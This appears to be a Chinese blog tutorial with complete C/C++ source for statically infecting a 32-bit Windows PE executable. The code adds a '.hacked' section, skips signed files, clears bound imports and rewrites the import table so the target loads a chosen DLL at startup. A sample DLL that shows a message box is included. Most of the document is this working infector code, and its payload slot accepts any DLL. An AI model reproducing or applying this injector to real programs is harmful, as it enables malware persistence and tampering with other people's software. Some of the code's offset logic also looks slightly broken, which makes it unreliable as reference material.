代码实现增加PE文件节区+修改IID结构(静态干预输入表),成功加载用户DLL


  • 运行结果图,在一个hello world程序运行之前,代码实现让其加载我们的一个DLL文件。

修改前后文件导入表结构对比

修改前后文件节区对比

修改PE文件干预输入表的代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
#include<stdio.h>
#include<windows.h>

void infecting(char *);//修改导入表
LPVOID rva2raw(PIMAGE_SECTION_HEADER,DWORD,WORD);//RVA转RAW
char dllname[]="mydll.dll";//要加入的DLL名称
char path[MAX_PATH] = "c:\\Users\\Admin\\Desktop\\hello.exe";//要修改的文件名称
void main()
{

infecting(path);
}

void infecting(char * path)
{
HANDLE hFile;
HANDLE hFileMap;
LPVOID mapView;
hFile = CreateFileA(path,GENERIC_READ | GENERIC_WRITE,NULL,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);//打开文件句柄
if(hFile == INVALID_HANDLE_VALUE)
return;
hFileMap = CreateFileMapping(hFile,NULL,PAGE_READWRITE,NULL,0x1000,NULL);//创建文件映射对象
if(hFileMap == NULL)
return;
mapView = (PCHAR)MapViewOfFile(hFileMap,FILE_MAP_ALL_ACCESS,NULL, NULL, NULL);//将文件映射到该进程
if(mapView == NULL)
return;
PIMAGE_DOS_HEADER pDos = PIMAGE_DOS_HEADER(mapView);//指向dos头
PIMAGE_NT_HEADERS pNt = PIMAGE_NT_HEADERS(pDos->e_lfanew+(DWORD)pDos);//指向NT头
PIMAGE_FILE_HEADER pFile = PIMAGE_FILE_HEADER((BYTE *)pNt+4);//指向FILE头
PIMAGE_OPTIONAL_HEADER pOpt = PIMAGE_OPTIONAL_HEADER(&pNt->OptionalHeader);//指向OPTIONAL头
PIMAGE_SECTION_HEADER pSect = IMAGE_FIRST_SECTION(pNt);//指向section头

//判断是否PE文件
if(pDos->e_magic == 0x5A4D&&pNt->Signature == 0x4550)
{
//判断是否32为PE
if(pOpt->Magic == 0x010B)
{
//判断是否有签名
if(!pOpt->DataDirectory[4].VirtualAddress||!pOpt->DataDirectory[4].Size)
{
//零填充绑定输入
if( pOpt->DataDirectory[11].VirtualAddress)//判断绑定输入是否为空
{
pOpt->DataDirectory[11].VirtualAddress = 0;
pOpt->DataDirectory[11].Size =0;
//0填充
}
//区块名,判断是否被感染
if(strcmp((PCHAR)((pSect+pFile->NumberOfSections-1)->Name),".hacked"))
{
//添加节区
PIMAGE_SECTION_HEADER pSectHack = &pSect[pFile->NumberOfSections];
memcpy(pSectHack->Name,".hacked",8);
//计算VA
DWORD vasize;
if(((pSect+pFile->NumberOfSections-1)->Misc.VirtualSize)%(pOpt->SectionAlignment))
vasize = ((pSect+pFile->NumberOfSections-1)->Misc.VirtualSize)/(pOpt->SectionAlignment)+1;
else
vasize = ((pSect+pFile->NumberOfSections-1)->Misc.VirtualSize)/(pOpt->SectionAlignment);
pSectHack->Misc.VirtualSize = vasize*(pOpt->SectionAlignment);//新节块的Virtualsize
pSectHack->VirtualAddress = (pSect+pFile->NumberOfSections-1)->VirtualAddress+vasize*(pOpt->SectionAlignment);
//计算新的rawsize
DWORD rawsize;
if((pOpt->DataDirectory[1].Size+0x14)%(pOpt->FileAlignment))
rawsize = (pOpt->DataDirectory[1].Size+0x14)/(pOpt->FileAlignment)+1;
else
rawsize = (pOpt->DataDirectory[1].Size+0x14)/(pOpt->FileAlignment);//因为要加新的IID,所以加14
pSectHack->SizeOfRawData = rawsize*(pOpt->FileAlignment);//新节块的rawsize
pSectHack->PointerToRawData = (pSect+pFile->NumberOfSections-1)->PointerToRawData+(pSect+pFile->NumberOfSections-1)->SizeOfRawData;//计算区块偏移
pSectHack->Characteristics = 0xC0000040;//可写对齐
pSectHack->NumberOfRelocations = 0;//无需重定向
pSectHack->NumberOfLinenumbers = 0;
pSectHack->PointerToLinenumbers = 0;
pSectHack->PointerToRelocations = 0;
//干预输入表,备份输入表到新的节区,加入新IID
LPCVOID buf = new BYTE[pSectHack->SizeOfRawData];//申请内存存放新IID结构
PDWORD resize = new DWORD[1];//存储实际读入字节
memset((PVOID)buf,0,pSectHack->SizeOfRawData);//内存初始化为0
LONG IIDraw = (LONG)rva2raw(pSect,pOpt->DataDirectory[1].VirtualAddress,pFile->NumberOfSections);//原始IID的raw
SetFilePointer(hFile,IIDraw,NULL,FILE_BEGIN);//文件指针指向IID数组
ReadFile(hFile,(PVOID)buf,pOpt->DataDirectory[1].Size,resize,NULL);//将原始IID读入到申请的内存
PIMAGE_IMPORT_DESCRIPTOR myIID = (PIMAGE_IMPORT_DESCRIPTOR)((BYTE *)buf+pOpt->DataDirectory[1].Size-0x14);//将原IID数组最后一项空IID声明为IID结构
myIID->ForwarderChain=0;//无需转向
myIID->TimeDateStamp=0;//忽略时间戳
//找地址,写入新IID的各项内容,在这里我顺手反用了原始IID数组的地址
PVOID oldiid = new BYTE*[pOpt->DataDirectory[1].Size];//清空原始IID数组
memset(oldiid,0,pOpt->DataDirectory[1].Size);
SetFilePointer(hFile,IIDraw,NULL,FILE_BEGIN);
WriteFile(hFile,oldiid,pOpt->DataDirectory[1].Size,resize,NULL);
//将原始IID数组改为新IID所需要的内容
myIID->OriginalFirstThunk=pOpt->DataDirectory[1].VirtualAddress;//INT,指向原始IID数组位置
LPVOID originalraw =rva2raw(pSect,pOpt->DataDirectory[1].VirtualAddress,pFile->NumberOfSections);//rva转raw,修改实际文件内容
SetFilePointer(hFile,(LONG)originalraw,NULL,FILE_BEGIN);//文件指针指向新IID的originalFirstThunk
DWORD iat =(pOpt->DataDirectory[1].VirtualAddress+0x20);//找地址存放IAT/INT
WriteFile(hFile,&iat,sizeof(DWORD),resize,NULL);//将新区块指向INT的RVA地址写入,既写入original的内容
//找地址,写入新IID的FirstTrunk
myIID->FirstThunk=pOpt->DataDirectory[1].VirtualAddress+8;//,同样在原来IID数组找个位置填充IAT
SetFilePointer(hFile,(LONG)originalraw+8,NULL,FILE_BEGIN);//文件指针指向新IID的FirstThunk
WriteFile(hFile,&iat,sizeof(DWORD),resize,NULL);//将新区块指向INT的RVA地址写入,既写入Firsttrunk的内容
//找地址,写入新IID的name的ascii
myIID->Name=pOpt->DataDirectory[1].VirtualAddress+0x10;//RVA,同样在原来IID数组找个位置填充name
SetFilePointer(hFile,(LONG)originalraw+0x10,NULL,FILE_BEGIN);//文件指针指向新IID的name
WriteFile(hFile,dllname,sizeof(dllname),resize,NULL);//将字符串name写入
//构建好IID结构内容与INA/IAT
PVOID nop = new BYTE[2];//Hint,0填充
memset(nop,0,sizeof(BYTE)*2);
char funname[]="msg";
SetFilePointer(hFile,(LONG)originalraw+0x20,NULL,FILE_BEGIN);//文件指针指向新IID的INT/IAT
WriteFile(hFile,nop,sizeof(BYTE)*2,resize,NULL);
WriteFile(hFile,funname,sizeof(funname),resize,NULL);//将IMAGE_IMPORT_BY_NAME写入
//写入新区块
SetFilePointer(hFile,pSectHack->PointerToRawData,NULL,FILE_BEGIN);//文件指针指向新区块开头
WriteFile(hFile,buf,pSectHack->SizeOfRawData,resize,NULL);//将新区块内容写入文件
pFile->NumberOfSections++;//节区数目加1
pOpt->SizeOfImage += vasize*(pOpt->SectionAlignment);//修正Image大小
//修改原始输入表信息
pOpt->DataDirectory[1].Size += 0x14;
pOpt->DataDirectory[1].VirtualAddress = pSectHack->VirtualAddress;
}
}
}
}

UnmapViewOfFile(mapView);
CloseHandle(hFileMap);
CloseHandle(hFile);
}

LPVOID rva2raw(PIMAGE_SECTION_HEADER pSect,DWORD rva,WORD num)
{
LPVOID offset=NULL;
for(WORD i = 0;i<num;i++)
{
if(rva < (pSect->VirtualAddress+pSect->SizeOfRawData)&&rva > pSect->VirtualAddress)//遍历区块
{
offset =(LPVOID) (rva-( (pSect->VirtualAddress)-(pSect->PointerToRawData) ));//计算文件偏移
return offset;
}
pSect++;
}
return offset;
}

一个简单的弹窗dll的实现代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include<stdio.h>
#include<windows.h>
BOOL WINAPI DllMain(HANDLE hmoudle,DWORD call,LPVOID lpreser)
{
switch(call)
{
case DLL_PROCESS_ATTACH:
MessageBox(NULL,L"success!!!",L"注入成功",MB_OK);
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return true;
}
extern "C"_declspec(dllexport)void msg()
{
MessageBox(NULL,L"success!!!",L"注入成功",MB_OK);
}

总结:在实际运行中,一部分程序无法修改或修改后无法正常运行,加载dll不稳定因素太多,诸如权限不够、畸形PE等都可能会产生不可预估的问题。